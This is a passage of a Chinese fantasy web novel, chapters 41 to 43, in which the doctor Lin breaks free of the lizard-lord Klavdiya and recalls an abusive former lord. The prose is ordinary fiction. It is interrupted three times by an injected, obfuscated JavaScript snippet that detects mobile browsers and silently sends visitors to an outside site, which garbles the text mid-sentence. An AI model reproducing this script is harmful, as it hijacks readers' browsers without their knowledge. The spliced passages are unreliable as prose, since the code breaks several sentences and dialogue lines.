“说起来章鱼的效率真的好高啊,多几只手的感觉还不错诶。”在两个孩子此起彼伏的哭声下,她还有闲心去夸赞自己的副手。 “呵呵,所以你所有的工作都不想做吗?”鳞扶了扶眼镜,吐槽她神奇的道理。 听到这句熟悉的吐槽,沈莫失在安慰两小只的间隙里抬头,给鳞点了个赞,所见略同啊姐妹。 “做一半的工作和做所有的工作差别也不大嘛,反正都是在干活。”克拉芙季雅看着心情不错,有一搭没一搭地回鳞的话。 “差别可大了!给你干活的人真是倒了大霉了。”鳞想到曾经的自己,这话喊得格外真情实感。 “章鱼副手就是最倒霉的那一个。”她这么说着,口中隐隐发出“嘶嘶”声。 “那是她的荣幸。” 克拉芙季雅居高临下地俯视鳞,一本正经地纠正她的用词,一副问心无愧的姿态。 鳞被她的歪理气得直咬牙。 沈莫失惊奇地看着鳞担任起了吐槽役的角色,她是不是没那么害怕克拉芙季雅了? 不过鳞明显对克拉芙季雅的脸皮厚度没有明确的认知,见她被气着了,沈莫失干脆插进去打断了两人。 “好了好了,比起在那吵架,没看见孩子们还在哭吗?” 她转向克拉芙季雅,直截了当地命令道:“克拉法,过来给两个孩子道歉!” 接着,她又看向胸口起伏不定的鳞,“眼镜,你帮我去把猎刀找来,跟她说孩子在哭呢,还要跟钟鹄联系一声。” 两人听闻沈莫失的话,不约而同地停下了争执,惊讶地转过头来。 “你叫我什么?”克拉芙季雅猛地后仰,甚至撞上了墙,发出“砰”的一声响,都没顾得上沈莫失用的是命令的语气这件事。 “我叫什么?”鳞与克拉芙季雅一个脸色,指着自己问沈莫失。 “哎呀管我叫你什么呢,现在去给孩子们找妈妈才是最重要的事情。” 沈莫失懊恼自己把给鳞新取的外号喊出了口,忙把她敷衍出门。 克拉芙季雅就没那么好应付了,她不仅不给孩子们道歉,还追着沈莫失问,“你刚刚叫我什么?” 见她凑近,红雪与钟欢默默停下了哭声,打着哭嗝警惕地绕着沈莫失躲开她。 克拉芙季雅现在的重点可不在她们俩身上了,连个眼神都不分给两小只,任由她们的眼刀打在自己身上。 沈莫失不知第几次给了克拉芙季雅一个白眼,像只母鸡一般护住了两小只,她连敷衍都懒得敷衍她,向她坦白说。 “你到底知不知道你的名字有多难记?克拉法读着简单又顺口不好吗?” 克拉芙季雅意味不明地哼哼了几声,“那你怎么叫陆岭那家伙的。” “领主。” 沈莫失扯了扯嘴角,在一瞬间理解了她激动的原因,且并不想思考自己为什么会这么理解她的脑回路。 克拉芙季雅尾巴翘起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14105186|147628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,心里暗爽了一下,但还是不满意地追问道:“还有呢?不叫领主的时候。” “叫陆岭行了吧。” 沈莫失真是受不了这哄完小孩子哄大孩子的日子了,重新打开门指着外头对克拉芙季雅说:“道完歉你就可以走了,再也不见。” 克拉芙季雅喜笑颜开,那双冰冷的眸子往下看了眼,将两个孩子看得又炸起毛来,才带着笑意开口道:“抱歉咯。” 接着就哼着歌往外走去。 毫无诚意啊! 沈莫失感受到钟欢突然抓紧了她的衣摆,只听她咬牙切齿地低声说着,“我一定要打败她!” 红雪轻轻哼了一声,看来也是不服气。 沈莫失低头瞥了眼钟欢暗露的獠牙,又看到红雪眼里闪烁着的火光,欣慰地拍了拍她们的小脑袋,孩子没被克拉芙季雅吓坏胆可太好了。 “那就靠你们啦。” 红雪只来得及蹭了蹭沈莫失的手,就两眼放光地奔了出去,直接略过了刚出门的克拉芙季雅。 “妈妈!” 猎刀心疼地一把抱住了冲过来的红雪,上下打量她,并帮她把身上沾上的灰尘掸去。 “有没有哪里痛的?” “嗯嗯。”红雪摇了摇头,撒娇表示没有受伤,乖巧地依偎在妈妈的怀里。 猎刀又看向沈莫失怀里的钟欢,见两个孩子都没事才松了口气。 没想到她一时没看住就发生了这样的事情,幸好最终没出什么大事。 “你就是她的妈妈?”克拉芙季雅好奇地凑了过来。 她知道沈莫失最小的学生的妈妈就是第一位治疗成功的兽人,一直对她很是好奇,可此前她连红雪都没见过,更别说知道她妈是谁了。 猎刀迅速把红雪挡在了身后,耳朵警惕地竖起,即使是仰视着克拉芙季雅,也丝毫不被对方的气势压过。 “是又如何。” “嗯……”克拉芙季雅皱着眉头仔细地打量这位满脸刀疤的猫族兽人,觉得她十分眼熟。 可鬃狮蜥领内,满脸刀疤的家伙实在是不少,她一时想不起来是谁与她相像。 突然,她恍然大悟地伸手指向猎刀那缺了一块的耳朵,“我想起来了,你就是那个、那个那个。” 她挠了挠头,卡壳了半天,才突然两眼放光,高兴地喊道:“那个刀对吧!首领的那把刀。” 面对猎刀越发警惕的态度,克拉芙季雅显得闲适又自在,她绕着猎刀踱步转圈,嘴里啧啧称奇。 “你现在变了好多啊,我差点都没认出你来诶。” “我记得你以前特别喜欢待在那人身后,就像……”克拉芙季雅乜了眼她身后的红雪,语气飘忽,“就像这个小崽子一样。” 即使嘴角还带着笑意,克拉芙季雅现在的眼神却让红雪寒气直往上窜,即使是被她擒在手里的时候,她都没有感觉对方如此可怕过。 红雪不禁夹紧了尾巴,可即便如此,她还是试图从猎刀的身后出来挡住克拉芙季雅看向猎刀的视线。 猎刀平静又不容置疑地把她塞回了身后。 “是我,那又如何?” 克拉芙季雅又凑近了猎刀几分,几乎把她整个地笼罩在了自己的阴影之下,注视着猎刀的那双眼晦暗不明,像是腐烂了无数枯枝败叶的淤泥沼泽一般。 沈莫失抱紧了钟欢,不让她上前插手,神色凝重地看着两人的对峙。 突然,克拉芙季雅轻笑一声,打破了这片死寂的氛围,她拍了拍猎刀的肩膀,在她耳边轻声道。 “别那么紧张嘛,至少你教出的孩子还不错,勇敢、无畏、坚强……” 她对红雪露出一个自认为友好的微笑,不再留恋地与猎刀擦肩而过,最后的话语消散在两人之间。 “不像你就是了。” 41.转变 猎刀站在原地,目光久久凝视着克拉芙季雅离去的身影。 沈莫失牵着钟欢上前,任由钟欢去和红雪贴贴安抚她,自己则是担忧地看向猎刀。 她试探性地碰了碰猎刀,“你还好吗?” 之前在鬃狮蜥领的时候,猎刀总会远远地避开克拉芙季雅,这大概是她们多年后的第一次交锋。 可令她意外的是,在被克拉芙季雅如此轻蔑地对待后,猎刀却反而冷静得出奇。 与孩子们愤愤的表情不同,她注视着克拉芙季雅的眼神丝毫不带敌意,而是有些怅然。 沈莫失猜不出猎刀现在的心情,于是再次发问道:“在想些什么呢?” 猎刀被沈莫失的话语惊醒,才发现克拉芙季雅早已消失在了走廊的尽头。 她转头看向沈莫失,露出了一个与往常没什么不同,却好似更加轻松的笑容。 沈莫失微怔,细细打量猎刀,觉得她好像有什么地方发生了微妙的变化。 猎刀的语调轻松又柔和,带着一丝笑意,“没什么,只是突然发现,所有的事情都已经不一样了。” 见猎刀一点不介意克拉芙季雅的冒犯举动,还有些开心的样子,红雪先不高兴了。 “妈妈!”她扯着猎刀的衣摆吸引了她的注意力,“她可是说你的坏话啊。” 红雪气鼓鼓地想着,克拉芙季雅最后那一句话,不就是在说猎刀不勇敢、不无畏、不坚强吗? 可在她的心里,猎刀就是这个世界上最勇敢的人了,克拉芙季雅这么骂猎刀,红雪只觉得这比起自己被骂还要难受。 沈莫失倒是没对此发表意见,她了解一点猎刀和克拉芙季雅的过去,也理解对方为什么会对猎刀有这么一番评价。 她只是还不理解,猎刀为什么对克拉芙季雅的评价毫无芥蒂。 是真的放下过去了吗?还是说只是她也认同克拉芙季雅对自己的评价呢? 沈莫失微微蹙眉,等着猎刀后续的解释。 猎刀笑着摸了摸红雪的头,帮她整理凌乱的发丝,“她也没说错什么,过去的我确实是个如她所说的胆小的家伙。” 红雪当即露出了不赞同的表情,猎刀接着说道:“不过这只不过是过去的我罢了。” “现在的我只是猎刀,是你的妈妈,不是谁的一把刀。”她弯腰抱紧了红雪,在她耳边蹭了蹭。 猎刀直起身后,又望向身侧的沈莫失和钟欢。 “这么多年来,我还认识了许许多多的人,在这些人看来,我难道只是克拉法口中的那个人吗?” 钟欢见状忙摇头,“猎刀姨姨你超厉害的!” 沈莫失也舒缓了神情,“你当然不是了。” “她也说了不是吗?我变化得她都认不出来了,”猎刀无所谓地重复克拉芙季雅的话语,“而她对我而言又怎么不是这样呢?” “所有的人都已经变了,那些过去的事,过去的人,甚至无法再让我产生什么过激的情绪。” 克拉法那肆意又松弛的样子完全不似从前,如果是从前的她,这时候肯定是不会如此轻易地走开的。 而从前的猎刀,也不会像现在这么自在。 摸着手心柔软的茧子,猎刀感到前所未有的开阔与轻松。 “我很庆幸在这里遇到了克拉法,当我意识到我终于可以将过去的事情画上一个句号时。” 猎刀对着三人笑得格外灿烂,“才发现那句号早就已经在那了,只是我从未发现罢了。” 猎刀好像突然明悟了什么,沈莫失听得一知半解,但直觉这并不是一件坏事,便也放下了担忧的心情。 她轻笑道:“既然事情都过去了,那让我们来想想今晚吃些什么吧。” 沈莫失看向两个满脸泪痕的孩子,“可得给孩子们好好补一补,今天她们都累坏了。” …… “好了。”鳞从克拉芙季雅身上收回手,远远退开,示意本次的治疗已经结束。 鳞的天赋本就不错,在克拉芙季雅的高压监督下,学习进度更是快了好几分,很快就能够为克拉芙季雅治疗紊乱症了。 克拉芙季雅一个挺身坐了起来,她没有选择使用麻药,而是坚持在清醒的情况下进行治疗。 章鱼副手上前搀扶她,“感觉怎么样?有什么不适的地方吗?” 即使克拉芙季雅表示无所谓,章鱼也无法放下她对于这次治疗的担忧之情。 她特意加了几天的班,赶来了驯鹿领监督,防止在治疗过程中出现什么意外。 克拉芙季雅拂开了她的触手,调侃道:“怎么搞得我好像瘫痪了一样。” 章鱼拿触手拍了她一下,“别说这种不好的话。” “嘶,”克拉芙季雅收回了手,龇牙咧嘴地抱怨她,“你的脾气怎么越来越坏了。” 章鱼见她这幅活蹦乱跳的样子,彻底放下了心里的忧虑,转而狞笑起来。 “见到我带来的文件你就知道我的脾气为什么不好了。” 闻言,克拉芙季雅立马眼神飘忽地扯开话题,“啊哈哈,不要在我这么高兴的时候说这些扫兴的事情嘛。” 她掩耳盗铃般地把注意力转向自己体内的变化,她的病症与猎刀略有不同,紊乱症并没有对她的身体造成过多的负面影响。 紊乱症对她的影响,更多的在心理方面。 想要把眼前的触手紧握在掌心捏爆,看组织液从指间滑落;想要把下属的鼻子生生拔出来,看她血流不止哀嚎的模样;想要把天真单纯的小矮子们碾碎在脚下,感受骨骼与血肉在地板上黏黏糊糊地摩擦的触感。 ——很多想法即使是她也是会觉得有些恶心的,偏偏这些想法又无法遏制。 而这次的治疗结束后,她明显感觉到内心一直叫嚣着的声音减弱了不少。 依她近期围观其他病人们的经验来看,再多进行几次治疗后,这些声音或许再也不会在她的脑海中重现。 了解完现状的克拉芙季雅心情好得出奇。 鳞隔着一段距离看着她和章鱼两人的互动,不自觉地抓挠着刚刚接触过克拉芙季雅的手指。 自上次在沈莫失办公室里对着克拉芙季雅发泄过一番后,她对于克拉芙季雅的恐惧之情就减弱了许多。 曾经的她一直觉得,领主的威严不可挑战,可现在,她看着面前嬉笑怒骂的克拉芙季雅,却恍惚觉得她只是一个普通人。 或许她确实是个普通人,只是她自己一直把她视为神明一般的角色。 有了这样的认知后,那不再被强行压制的想法在鳞的心中不断地生根发芽。 终于,萌发到了她的嘴边。 “克拉法,能和你谈一件事吗?”鳞恍惚间听见了自己的声音,却又觉得陌生无比。 克拉芙季雅暂时停下了与副手的拌嘴,冷淡地看向鳞,“什么事?” 鳞本以为这句话会很难说出口,她想象过自己鼓足了勇气对克拉芙季雅说出这句话的场景。 她或许会憋红了眼,或许会软了双腿,或许一出声就会哭出来,又或许会半天都说不出这句话。 可真到了这一刻,却又没有丝毫犹豫,她甚至无法回忆起此前自己畏惧克拉芙季雅的原因。 “在治好了你的病后,我会留在驯鹿领内。”她以陈述的语气说出了这句话,冷静到自己都觉得诧异的程度。 克拉芙季雅歪头,面无表情地看着鳞。 她身旁的章鱼也被鳞的话语吸引了注意力,漠然地向她投来视线。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14115408|147628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>鳞被两人直白地审视着,像是突然从一场梦境中回过神来,一切情绪又回到了她的脑海里。 她觉得刚才好像是另一个人代替了她站在这里说话,此时本尊回来了,需要面临那人给她留下的尴尬局面。 鳞忙举起双手,满头大汗地向两人解释道:“我、我的意思是……” 没等她磕磕绊绊的一句话说完,克拉芙季雅率先做出了回应。 “然后呢?” “什么?”鳞的情绪被她的反问打断,下意识发问道。 克拉芙季雅皱起眉,觉得她有些莫名其妙。 往常她遇到下属这副模样,肯定就开始生气了,但她现在脑子难得清明,鳞也已经不算是她的人了,所以还能耐心地听她再解释一次。 章鱼副手善解人意地为她解释她们的疑惑,“你要留在驯鹿领内,这件事我们都知道了,然后呢?” “然后,”鳞眼神乱窜,觉得自己有些难以应付现在的场面,“然后我就不回鬃狮蜥领了?” 克拉芙季雅表情嫌弃地看了她一眼,“你这不是在说废话吗?” 章鱼倒是有些理解鳞的想法了,“你是想向领主大人寻求对于这件事的许可吗?” 克拉芙季雅转头看自家副手,惊奇道:“她是这个意思吗?” 章鱼瞄了眼鳞的表情,觉得自己的猜测大概率是没错的,无奈地点了点头。 克拉芙季雅便又回过头去看鳞,“这种事情你来找我做什么?你自己的事情自己不能决定吗?” “我!”鳞被她的反应噎了一下,有些生气起来,“可我之前想来驯鹿领的时候,不是你把我关起来的吗?” 鳞想到自己曾经在监狱中担惊受怕的日子,又想到冒着风险来救她的猎刀和沈莫失,越想越气,上前几步质问克拉芙季雅。 “我以为你这是不允许我来的意思!” 没想到克拉芙季雅这个罪魁祸首态度坦率又自然,“我只是不希望你过得好罢了。” “你?!”鳞愣在了原地,仿佛无法理解她说的这番话。 克拉芙季雅心情很好地甩了甩尾巴,搓着自己肉呼呼的尾巴尖回答她。 “当时我心情很糟糕啊,你又表现得一副就要脱离苦海的样子,我怎么可能会放你开开心心地溜走?” 克拉芙季雅直言不讳地向鳞坦白她“自己不高兴就见不得所有人高兴”的想法。 她能控制住自己别对着有用的人下手就已经很辛苦了,鳞自己都放弃“她的医生”这个职位了,对她发发脾气毫无影响,不针对她还针对谁啊? 鳞不可置信地看着面前这个人模人样的家伙,只觉得她不可理喻。 “就为了这个?” 她踉跄着扶住了一旁的储物柜,怕自己一个不留神就要倒下去,胸口急促地喘息着。 没想到克拉芙季雅也不可置信地反问她,“你难道是第一天认识我吗?” 鳞低头注视着诊室的地砖花纹,不知喃喃着什么。 旁观的章鱼看着这一场闹剧,无奈地以触手扶额,一手勾了勾克拉芙季雅的尾巴示意她也别太过分了。 克拉芙季雅扯了扯嘴角,干脆起身往外走去,“以后这种事情别来烦我。” 章鱼跟随在她身后出门,最后担忧地回望了鳞一眼,沉默片刻后落下一句话。 “请尽管去做你想做的事情吧,你不需要任何人的许可。” 说罢,她也转身离去,只留下鳞一人在空荡荡的诊室内。 “……从没有人告诉过我,”鳞表情不明地低头站在原地,喃喃自语,“我可以自己决定这些……吗?” 话音落下,房内陷入了长久的死寂。 又突兀地回荡起阵阵狂笑声。 42.小象与木桩 沈莫失一如往常地在诊所内摸鱼,却在走廊上意外地看到了鳞。 鳞正双手捧着一杯热饮,趴在窗沿眺望远方。 沈莫失有些诧异,自鳞来了后,她不是在工作就是在去工作的路上,这好像是她第一次见到鳞这么悠哉的模样。 她突然想到今天好像是克拉芙季雅要进行治疗的日子。 难道是因为目标达成了所以才难得放松一下吗? 沈莫失好奇地凑了上去喊她,“鳞,在这做什么呢?” 鳞闻言,平静地转过身来,沈莫失第一时间就注意到她的眼镜变了,从之前精英范十足的金丝边眼镜换成了一副黑色的粗边框眼镜。 沈莫失有些怔住了,从刚才鳞的肢体动作来看,她下意识以为鳞是在放松,可待她转过来,沈莫失才发现了她通红的眼眶。 虽然鳞的眼睛确实是红色的,但还不至于让人分辨不出正常的眼睛和哭过的眼睛,特别是沈莫失还亲眼见到过鳞哭红了眼眶的模样。 她眉头紧皱,各种猜测在脑海中略过,飞快地上前几步。 可还没等她发问,意外就发生了。 ——鳞的新眼镜开始缓缓散发出光亮来。 “诶?”沈莫失刚刚才皱起的眉头又惊讶地散开。 鳞的眼睛被这一团光亮闪到了,想要抬手遮挡才发现光源居然来自于自己的眼镜。 手忙脚乱地将眼镜摘下来后,她眯着眼打量这个反常的眼镜。 “这到底是怎么回事,我出现幻觉了吗?”她反复摆弄着这副眼镜,对此不得其解。 沈莫失忙上前为她作解释。 她实在是没想到居然会在这里遇到新的碎片,本来她觉得新的碎片应该会在克拉芙季雅那才对。 不过她也已经习惯了碎片神出鬼没的特性了,刻意找是从来找不到的,却又总能突然给她一个惊喜。 听了沈莫失的解释,鳞直接将眼镜递给了她,“那这个眼镜就送你吧,我欠你的可不是一个眼镜就能还上的。” 她的声音低而沙哑,沈莫失接过眼镜收回了碎片后,又把眼镜还给了眯着眼的鳞。 “我要你的眼镜做什么?还是快带上吧,你现在还看得清我吗?”沈莫失调侃她道,直接把眼镜怼回了她的脸上。 钥匙会偏好一些寄托了复杂情感的物件,这个眼镜对鳞而言可能意义非凡,沈莫失怎么可能会收下。 虽然回收了碎片,不过她也不急着翻阅自己的记忆,“我早就想问了,你这是发生什么了?” 她隔空指了指鳞的眼睛,“是有谁欺负你了吗?” 沈莫失皱起眉,虽然是这么问的,但她心里其实已经锁定了嫌疑人了,除了克拉芙季雅还能有谁呢。 既然沈莫失不想要,鳞也不强求,这本就不是什么重要的东西。 她拉着沈莫失在窗边的排椅上坐下,抿嘴笑了笑,“没发生什么,只是我突然想通了一件事罢了。” 面对沈莫失担忧的神色,鳞先向她介绍自己的新眼镜。 “其实这副眼镜才是我最喜欢的一副,之前那副是克拉法送我的。” 碰了碰眼镜的边框,鳞回忆道:“边框太细了,我总是小心翼翼地对待它,生怕它断开。” 沈莫失睁大了眼,“那家伙还会送眼镜这种东西?” 作为被克拉芙季雅送过礼的受害者之一,沈莫失觉得她不太会送这么体贴的礼物。 把体贴这个词与克拉芙季雅放到一块她都觉得浑身起鸡皮疙瘩。 沈莫失搓了搓胳膊等着鳞的下文。 手心摩挲着杯口,鳞神情安定地继续向沈莫失诉说。 “克拉法觉得我带这副眼镜有股傻气,才送了我新的,不过现在想想,她可能只是一时兴起吧。” 随口一说罢了,对于一个小卒,克拉芙季雅也不可能在她身上放多少精力。 不过当时的她习惯于放大领主的一举一动,从此真的再也没带过这幅黑框眼镜。 沈莫失后仰打量了下鳞的新形象,虽然确实没有那副金边眼镜显得精明能干,不过,“这幅很适合你啊。” 和鳞给她的印象很像,朴素而诚恳。 只要和鳞有过接触就会知道,比起和发色眸色搭调的金边眼镜,这幅黑框的与她的气质更加吻合。 鳞勾起嘴角,“谢谢。” “所以现在你是想开了?” 既然没事,沈莫失的心情也放松下来,悠闲地靠着椅背和鳞聊天。 鳞咧开嘴笑得肆无忌惮,沈莫失这时候才发现她对鳞的唇部结构有些误解。 她确实是薄唇,唇峰上翘还显得有几分可爱,不过在红唇部的两侧有明显的开裂,一直延伸到接近耳部,鳞此前一直都在掩饰这一点。 沈莫失惊奇地挑了挑眉,觉得她对鳞的误解可能还远远不止这些。 鳞笑着说道:“原来,我可以自己决定我的未来。” 沈莫失难掩疑惑地反问,“是啊,这是很正常的一件事啊,不应该吗?” 鳞笑得愈发开心了,“是啊,这是很正常的一件事。” “毕竟,克拉法篡位的时候,也没有得到她的许可嘛。” “她?”沈莫失疑惑道。 鳞的情绪逐渐缓和了下来,眼里亮闪闪地看着沈莫失,“‘她’呀,你想听听我的过去吗?” 沈莫失觉得鳞今天格外地有倾诉欲,不过对她而言,怎么都是在摸鱼,听听故事也好,便答应了下来。 鳞眼神飘忽,回忆起已经被大多数人忘却了的过去。 “你可能在猎刀那听说过她,我们那位前任领主,或者说——‘养母’。”她轻蔑又嘲讽地提到这个称呼。 “嗯哼。”沈莫失哼唧着点了点头,双腿自在地向外伸开,两手撑在腿间的座椅上,像个小孩子般听着鳞讲话。 “不过猎刀应该不会和你说太多她的坏话,虽然她不承认,但我是知道的,她对那位是有些感情在的。” “我有从记录里看到一些,她的风评,”沈莫失不习惯说人坏话,即使那个人已经不在了,还是尽量说得委婉,“不是很好。” 鳞就对此毫不留情了,“糟糕透了。” “她就是个控制狂,情绪管理一塌糊涂的疯子,我从小就喜欢雷雨,希望哪天打雷能正中她的脑门,或者在吃饭的时候让她被刀叉穿过后脑也不错。” 鳞抓着杯子的手用力到炸鳞,语速越来越快,神色也越来越扭曲。 不过这情绪来得快,去得也快,她眨眼间就恢复了平静。 见沈莫失微微后仰远离的举动,她笑着轻声安慰道:“别怕,她早就不在了。” 沈莫失暗自腹诽,她怕的又不是那个死鬼,是她面前的你啊。 “看来她对你很不好。” “不好?呵。” 深吸一口气,鳞才继续往下说。 “岂止是不好,她还很喜欢暴力,所以我们只要一有不合她心意的地方就会被她打一顿。” “可她的心意每天都在变,谁都不知道今天会因为什么事情惹到她,当然了,她也有可能只是随便找了个理由想打我们一顿罢了。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14129071|147628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 鳞冷冷地笑了声,“她可不在意我们是不是还小,或者说,她其实很享受折磨我们的这种感觉。” “怎么这样……”沈莫失感同身受般地皱眉,拍了拍鳞的手臂安慰她。 鳞那双剔透的红瞳直直地看向了沈莫失,“猎刀身上有不少伤疤对吧,我们之间可不会下这么重的手。” 沈莫失哑口无言,她第一次知道猎刀身上的伤疤居然是这么来的。 说完这句话鳞就顿住了,她抿了抿唇,自觉失言,“抱歉……别和猎刀提起这件事。” 她并不想把猎刀不堪的过去揭露给别人,也不想再伤到猎刀一次,即使猎刀可能已经不在意这些了。 沈莫失在嘴上做了个拉拉链的动作,“放心吧,我嘴严得很。” 鳞沉默了会儿整理自己的情绪,才继续往下说。 “不过我与她们多少有些不同,或许是因为我远不如兽人们的身体素质,她很少打我……却让我负责为所有受伤的孩子们治疗。” “说是为了把我培养成医生,”鳞嘲讽地扯了扯嘴角,“实际上不过是折磨我的新方法吧。” “看着同龄人们在一旁哀嚎……或者死去,直到临终前,每个人都不相信这就是自己的结局,我从来不敢看他们的眼睛,不、脸我也是不敢的。” 鳞怔怔地握紧了手里的杯子。 “如果是兽人就还好,如果是半兽人,你可能会见到她的脸逐渐被一种令人毛骨悚然的黄绿色爬满。” “那些脸总是出现在我的梦里,提醒我忤逆领主的代价,这种折磨几乎让我崩溃。” 鳞低声回忆起那些过去,现在的她已经不觉得难受了,甚至觉得这种撕开伤疤的感觉有些令她上瘾,或许她从来也就不是什么正常人吧。 沈莫失默默听着鳞讲述那些过去,不禁暗自咋舌,说这位前任是禽兽都觉得是侮辱禽兽了。 直到鳞陷入了沉默,沈莫失才出声安抚她,“别太难过了,事情都已经过去了,她也早就死了很多年了。” 鳞突然转头定定地看着沈莫失,“不,她今天才死去。” 沈莫失怔住了,“什么?” 与沈莫失逐渐凝重的表情不同,鳞反而越发轻松了起来,她以一种玩笑的口吻说道。 “原来一直以来我都把克拉法当作了她,如果被克拉法发现了的话,估计会气到想要撕了我吧。” 她低声笑了出来,觉得自己这个笑话挺好笑的。 沈莫失一点不觉得这个笑话好笑,但还是干笑了两声配合她。 “不想笑就别笑啦,”鳞无奈地看着努力安抚她的沈莫失,决定说些轻松的故事,“其实倒也不是没有开心的事情啦。” “虽然有许多不好的记忆,但是和猎刀有关的都还不错。”回忆起小时候的猎刀,鳞真情实感地笑了起来。 “我最开始见到她的时候,她像个小太阳一样热情,光芒四射。” “她爱着很多人,我,或许还有克拉法,唯一可惜的是,她还爱着那个垃圾。” 鳞带着微笑,语调迅速从柔软转向厌恶,咬牙切齿地提到前任领主。 但在提到猎刀的时候,鳞又恢复了那副柔软的神态,嘴角不自觉就会带上笑意,“她安慰过我,也支撑过我,是我当时见到的最好的一个人了……” “所以,我越发无法原谅前任领主对她的所作所为。” 明明想要说些开心的事情,可最后鳞还是不可抑制地提到了糟糕的事。 “她熄灭了太阳……太阳还爱着其他人,却不再爱着她自己。” 43.“救世主” 鳞突然放下杯子,握住了沈莫失的双手,沈莫失被她温暖的手从那些故事里拉出来,疑惑地看着她,“嗯?” 灯光闪烁在鳞的眼里,沈莫失恍惚觉得这是鳞的泪水。 握着沈莫失的双手,鳞充满了感激地凝视着她的双眼,“所以我真的很感谢你,你和红雪,是你们重新点亮了我的太阳。” 沈莫失被她的一番感谢肉麻得浑身一激灵,忙推辞道:“我可没做什么,还是红雪的功劳多,她陪了猎刀十年呢。” 鳞抿唇笑了,没在意她的推辞,对沈莫失帮助她们的事情,她都记在了心里。 见鳞毫无所动的模样,沈莫失又把话题扯回了她身上,“还有你呢,猎刀跟我说过,当初要不是你推了她一把,她也没办法走到今天。” 没想到鳞听了这段话,却是收敛了几份情绪。 “关于这一件事,”她不太好意思地放低了声音,“我一直不敢对猎刀提起……” 鳞闭了闭眼,深呼一口气,又缓缓睁开,“可我不得不承认,在说服她逃走的这件事上,我的目的并不单纯。” 沈莫失疑惑地歪头,这还能怎么不单纯? “一个不爱她的家人当然不配得到猎刀的爱,更不值得猎刀为了她失去性命,可同时,在说服猎刀放弃她的这件事上。” 鳞露出一个愉悦又扭曲的微笑,语调逐渐上扬,“我确实是带着报复意味的,我感到……由衷的快意。” 那一天,鳞显露出了与平常完全不同的一面,沈莫失一直默默听着鳞的倾诉,从一个与猎刀完全不同的角度了解到了她们过去的故事。 那杯原本还有些烫手的热饮在她们的话题结束时,早已不再飘出一丝热气。 鳞也终于再不觉得浑身发痒了。 …… 昏暗的室内,沈莫失缓缓睁开双眼。 她刚同步了关于第五块碎片中的记忆,这一块碎片的内容大部分都与钟欢手上那一块差不多,是关于她在各个世界间游历的经历。 到达一个新世界,学习这个世界的力量体系化为己用,然后离去。 不过有一段记忆十分特殊,沈莫失回忆起自己曾找到过一位异能力者,她的能力可以通过人的记忆描绘出对应的画像。 “……只有这么多了,这好奇怪。”带着兜帽的年轻人面露难色。 “过去的记忆会篆刻在我们的灵魂中,即使是完全被遗忘了的过去,也肯定会留下痕迹。” “既然你说你偶尔能想起些与过去有关的词汇,那么肯定是会有些其他东西残留了下来的。” “可是,我完全找不到。”她递出一张除了沈莫失自己,背景全部糊成一团无法辨认的画像。 “很抱歉,我帮不到你什么。” 沈莫失接过那张画像,并不显露失望之色,只是安慰对方,“没事的,我的情况有多麻烦我自己也是知道的,这不怪你。” 年轻人抬起脸,凝视着沈莫失,那双幽深的眸中倒映出她的身影。 “不可逆转的遗忘,这或许是命运的指引,沈莫失,你真的还要再执着于过去吗?” 沈莫失轻松地笑了起来,“我知道你是命运之神的信徒,可也没必要在这时候跟我传教吧?” 她毫不动摇,依旧定定地看着沈莫失,“对于过去的执着,可能会让你失去未来,即使是这样也无所谓吗?” 沈莫失面上的笑意渐渐消失,她对着年轻人轻声道:“我若不知道我从何而来,又怎么能知道我要往何处去呢?” 见无法说服沈莫失,年轻人沉默着低下了头。 “……我会一直为你祈祷的,祝你好运。” 躺在床上的沈莫失举起那张画像,喃喃自语道:“原来我从那么早就已经记忆不全了?” 她的失忆并不是从被红雪捡到的那时候才开始的,早在那之前,她的旅行目的之一就是想要找回自己过去的记忆,关于自己本源的记忆。 她跟失忆这件事未免也太有缘分了吧? 多少人一辈子都遇不到的事情她居然至少遇到了两次? 还有关于钥匙的问题。 沈莫失侧躺着,枕在自己的手臂上,陷入思索中。 她最初以为钥匙分裂的原因与她失忆是出于同一场意外,可时间越久,她收回的记忆越多,就越是忍不住怀疑这一点。 钥匙的材质十分特殊,她收集了多个世界中的珍奇材料才打造出这么一把,很少有存在能够做到分解钥匙这件事。 她自问即使是自己在宇宙中被分解了,钥匙说不定都不会有什么事。 可想要分解钥匙,还有一个最简单的办法,那就是作为创造者与拥有者的沈莫失下命令。 如果钥匙真是因为外因被分解的话,那沈莫失也没什么好说的,自认倒霉,毕竟没有东西是万能的。 可如果不是呢?如果真是自己把钥匙分解成几块碎片,那她的目的是什么? 毫无疑问,钥匙对她的意义非凡,不仅是辅助她穿越时空的重要道具,还寄存了她的记忆。 是出于什么目的,她才会做出这么决绝的选择呢? 或者换一个角度思考,如果钥匙没有被分解,会出现什么意外情况吗? 